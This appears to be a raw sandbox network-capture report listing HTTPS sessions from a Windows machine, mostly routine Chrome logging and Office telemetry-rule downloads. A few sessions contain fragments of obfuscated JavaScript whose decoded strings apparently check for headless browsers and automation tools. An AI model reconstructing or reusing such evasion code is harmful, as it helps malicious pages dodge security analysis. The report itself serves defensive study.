g1Ky1wYXJzZUludChfMHgxNmU0ZDcoMHhiNikpLzB4NiooLXBhcnNlSW50KF8weDE2ZTRkNygweDk3KSkvMHg3KStwYXJzZUludChfMHgxNmU0ZDcoMHgxNDEpKS8weDgrcGFyc2VJbnQoXzB4MTZlNGQ3KDB4MTAwKSkvMHg5KigtcGFyc2VJbnQoXzB4MTZlNGQ3KDB4Y2IpKS8weGEpO2lmKF8weDNmMWJhZD09PV8weDNkODcyYSlicmVha
2024-11-14 19:43:27 UTC	16384	IN	Data Raw: 31 68 63 6d 56 4b 55 79 63 73 4a 33 52 6f 5a 57 34 6e 4c 43 64 70 62 6d 52 6c 65 45 39 6d 4a 79 77 6e 59 6e 4a 76 64 33 4e 6c 63 6b 56 75 5a 32 6c 75 5a 55 74 70 62 6d 51 6e 4c 43 64 51 61 47 46 75 64 47 39 74 53 6c 4d 6e 4c 43 64 6a 62 32 46 6a 61 47 70 7a 4a 79 77 6e 62 57 6c 74 5a 56 52 35 63 47 56 7a 51 32 39 75 63 32 6c 7a 64 47 56 75 64 43 63 73 4a 32 52 6c 64 47 56 6a 64 43 63 73 4a 33 52 76 55 33 52 79 61 57 35 6e 4a 79 77 6e 64 32 56 6a 61 47 46 30 4a 79 77 6e 62 47 56 75 5a 33 52 6f 4a 79 77 6e 58 31 39 33 5a 57 4a 6b 63 6d 6c 32 5a 58 4a 47 64 57 35 6a 4a 79 77 6e 63 6e 52 30 4a 79 77 6e 61 47 56 68 5a 47 78 6c 63 33 4e 66 59 32 68 79 62 32 31 6c 4a 79 77 6e 64 32 6c 75 5a 47 39 33 4c 6b 35 76 64 47 6c 6d 61 57 4e 68 64 47 6c 76 62 6c 78 34 4d Data Ascii: 1hcmVKUycsJ3RoZW4nLCdpbmRleE9mJywnYnJvd3NlckVuZ2luZUtpbmQnLCdQaGFudG9tSlMnLCdjb2FjaGpzJywnbWltZVR5cGVzQ29uc2lzdGVudCcsJ2RldGVjdCcsJ3RvU3RyaW5nJywnd2VjaGF0JywnbGVuZ3RoJywnX193ZWJkcml2ZXJGdW5jJywncnR0JywnaGVhZGxlc3NfY2hyb21lJywnd2luZG93Lk5vdGlmaWNhdGlvblx4M
2024-11-14 19:43:27 UTC	11238	IN	Data Raw: 42 34 4d 54 56 69 4b 56 30 70 50 6a 30 77 65 44 4e 38 66 46 38 77 65 44 4d 30 4d 54 41 31 4d 56 74 66 4d 48 68 6b 59 6a 46 6d 4e 32 55 6f 4d 48 67 78 4d 7a 41 70 58 53 68 66 4d 48 67 78 5a 54 63 78 4e 57 46 62 58 7a 42 34 5a 47 49 78 5a 6a 64 6c 4b 44 42 34 4f 57 4d 70 58 53 6b 37 5a 57 78 7a 5a 58 74 70 5a 69 68 66 4d 48 68 6b 59 6a 46 6d 4e 32 55 6f 4d 48 67 78 4d 54 49 70 50 54 31 30 65 58 42 6c 62 32 59 67 58 7a 42 34 4d 57 55 33 4d 54 56 68 57 31 38 77 65 47 52 69 4d 57 59 33 5a 53 67 77 65 44 6c 6a 4b 56 30 70 65 33 5a 68 63 69 42 66 4d 48 67 31 4e 47 45 77 4d 54 67 39 58 7a 42 34 4d 57 55 33 4d 54 56 68 57 79 64 73 59 57 35 6e 64 57 46 6e 5a 58 4d 6e 58 54 74 66 4d 48 67 31 4e 47 45 77 4d 54 67 6d 4a 6c 38 77 65 44 4d 30 4d 54 41 31 4d 56 74 66 4d Data Ascii: B4MTViKV0pPj0weDN8fF8weDM0MTA1MVtfMHhkYjFmN2UoMHgxMzApXShfMHgxZTcxNWFbXzB4ZGIxZjdlKDB4OWMpXSk7ZWxzZXtpZihfMHhkYjFmN2UoMHgxMTIpPT10eXBlb2YgXzB4MWU3MTVhW18weGRiMWY3ZSgweDljKV0pe3ZhciBfMHg1NGEwMTg9XzB4MWU3MTVhWydsYW5ndWFnZXMnXTtfMHg1NGEwMTgmJl8weDM0MTA1MVtfM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49858	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:26 UTC	674	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:26 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:26 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:26 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:26 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:27 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194327Z-16547b76f7fk9g8vhC1DFW8254000000012g0000000042bg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:27 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 933b6e18-c01e-0079-6ca0-34e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194327Z-1749fc9bdbdr6qwphC1DFW0nv400000003600000000032rg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:27 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194327Z-16547b76f7f9bs6dhC1DFWt3rg0000000ky0000000010nkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:27 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194327Z-16547b76f7fr28cchC1DFWnuws0000000m5000000000n48b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49864	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:27 UTC	543	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://drive.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 19:43:28 UTC	517	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:43:28 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:28 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194328Z-16547b76f7fj897nhC1DFWdwq40000000kx000000000m15u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:28 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 09da145b-201e-0033-5108-32b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194328Z-16547b76f7fp6mhthC1DFWrggn0000000m8g000000005gf9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:28 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 2e9646c6-a01e-0098-2aa5-348556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194328Z-r178fb8d765ccg2khC1DFW5ttc00000000mg00000000vfav x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:28 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 87935f62-301e-0033-36a7-34fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194328Z-r178fb8d765tq2dphC1DFW278s00000002yg000000001bgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" 